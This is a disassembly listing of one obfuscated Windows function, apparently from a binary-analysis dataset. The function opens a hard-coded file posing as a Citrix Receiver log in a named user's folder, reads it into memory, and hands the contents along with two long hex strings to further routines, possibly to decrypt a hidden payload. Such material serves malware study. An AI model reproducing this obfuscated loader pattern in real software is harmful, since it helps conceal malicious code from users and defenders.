Function at 0x180006e20
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xc0], xmm6
mov qword [rbp + 0xb8], 0xfffffffffffffffe
mov r12, rcx
mov eax, dword [0x180069558]
mov ecx, dword [0x18006955c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x70]
mov edx, 0x24cc952c
mov eax, 0x1bba3078
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x90]
cmovl eax, edx
mov edx, 0x358c42f0
mov ecx, 0x964f4e7e
nop dword [rax]
cmp edx, 0x24cc952b
jg 0x180006eb0
cmp edx, 0x964f4e7e
je 0x180006eda
cmp edx, 0x1bba3078
jne 0x180006e90
mov edx, 0x964f4e7e
jmp 0x180006e90
cmp edx, 0x24cc952c
je 0x180006ede
cmp edx, 0x358c42f0
jne 0x180006e90
movzx ebx, byte [rbp + 0x70]
cmp byte [rbp + 0x90], 0
mov edx, 0x1bba3078
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
jmp 0x180006e90
mov edx, eax
jmp 0x180006e90
xorps xmm6, xmm6
movups xmmword [rbp + 0x58], xmm6
lea rcx, [rbp + 0x48]
call fcn.18002a290
mov eax, dword [0x180069510]
mov ecx, dword [0x180069514]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x70]
mov eax, 0x96a608da
mov edi, 0xa4235f9e
cmove edi, eax
cmp ecx, 0xa
setl byte [rbp + 0x90]
cmovl edi, eax
mov eax, 0xee589952
mov esi, 0xd788f751
nop dword [rax + rax]
cmp eax, 0xd788f750
jg 0x180006f60
cmp eax, 0x96a608da
je 0x180006f9a
cmp eax, 0xa4235f9e
jne 0x180006f30
movups xmmword [r12], xmm6
mov qword [r12 + 0x10], 0
mov eax, 0xd788f751
jmp 0x180006f30
cmp eax, 0xd788f751
je 0x180006f88
cmp eax, 0xee589952
jne 0x180006f30
movzx ebx, byte [rbp + 0x70]
cmp byte [rbp + 0x90], 0
mov eax, 0xa4235f9e
cmovne eax, esi
test bl, bl
cmovne eax, esi
jmp 0x180006f30
movups xmmword [r12], xmm6
mov qword [r12 + 0x10], 0
mov eax, edi
jmp 0x180006f30
test dl, 1
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl byte [rbp + 0x70]
mov edx, 0xee589952
xorps xmm0, xmm0
mov ecx, 0xd788f751
nop word cs:[rax + rax]
nop
cmp edx, 0xd788f750
jg 0x180007000
cmp edx, 0x96a608da
je 0x18000703d
cmp edx, 0xa4235f9e
jne 0x180006fc0
movaps xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 0
mov edx, 0xd788f751
jmp 0x180006fc0
cmp edx, 0xd788f751
je 0x180007027
cmp edx, 0xee589952
jne 0x180006fc0
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x70], 0
mov edx, 0xa4235f9e
cmovne edx, ecx
test al, al
cmovne edx, ecx
jmp 0x180006fc0
movaps xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 0
mov edx, edi
jmp 0x180006fc0
mov dword [rbp + 0xb4], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str.C:Users_son.nguyendinh3AppDataLocalCitrixReceiver.log
mov edx, 0x120089
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x18000721a
mov rdi, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
je 0x18000721a
mov ebx, eax
mov r14d, eax
xor ecx, ecx
mov rdx, r14
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x18000721a
mov r15, rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xb4]
mov rcx, rdi
mov rdx, rax
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180007200
mov qword [rbp + 0x88], r12
xor esi, esi
lea r12, [rbp + 0xb4]
mov r13, qword [sym.imp.KERNEL32.dll_ReadFile]
nop word cs:[rax + rax]
nop dword [rax + rax]
add esi, dword [rbp + 0xb4]
lea rdx, [r15 + rsi]
mov qword [rsp + 0x20], 0
mov r8d, ebx
sub r8d, esi
mov rcx, rdi
mov r9, r12
call r13
cmp ebx, esi
jbe 0x18000713a
test eax, eax
jne 0x180007110
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
mov r12, qword [rbp + 0x88]
jne 0x180007209
mov rdi, r15
add rdi, r14
lea rsi, [rbp + 0x90]
lea rdx, [rbp + 0x70]
mov rcx, rsi
call fcn.180007870
mov r8, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdi
lea rdx, [rbp + 0x68]
mov rcx, rsi
mov r9, r15
call fcn.1800073e0
lea rdx, str.F8F55D9A345DE23C18F3909AED8CA85351F387F4A2EECAE299F98E2F6C5D9EF8
lea rcx, [rbp - 0x40]
call fcn.180007aa0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x40]
call fcn.180005f80
lea rdx, str.EAF39BA4E9A03A33F5063D78DDA9D6473E63EB4C719F8FE0DD85060360A9B6A3
lea rcx, [rbp - 0x20]
call fcn.180007aa0
lea rcx, [rbp + 0x30]
lea rdx, [rbp - 0x20]
call fcn.180005f80
mov rcx, rbp
lea rdx, [rbp + 0x90]
call fcn.180007bd0
lea rcx, [rbp + 0x70]
mov rdx, rbp
lea r8, [rbp + 0x30]
lea r9, [rbp + 0x18]
call fcn.1800377a0
lea rsi, [rbp + 0x70]
mov r12, qword [rbp + 0x88]
mov rcx, r12
mov rdx, rsi
call fcn.180007ed0
mov rcx, rsi
call fcn.180004880
jmp 0x180007209
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x90]
call fcn.180004880
lea rcx, [rbp + 0x48]
call fcn.180016ef0
lea rcx, [rbp + 0x48]
call fcn.180017600
mov rax, r12
movaps xmm6, xmmword [rbp + 0xc0]
add rsp, 0x158
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret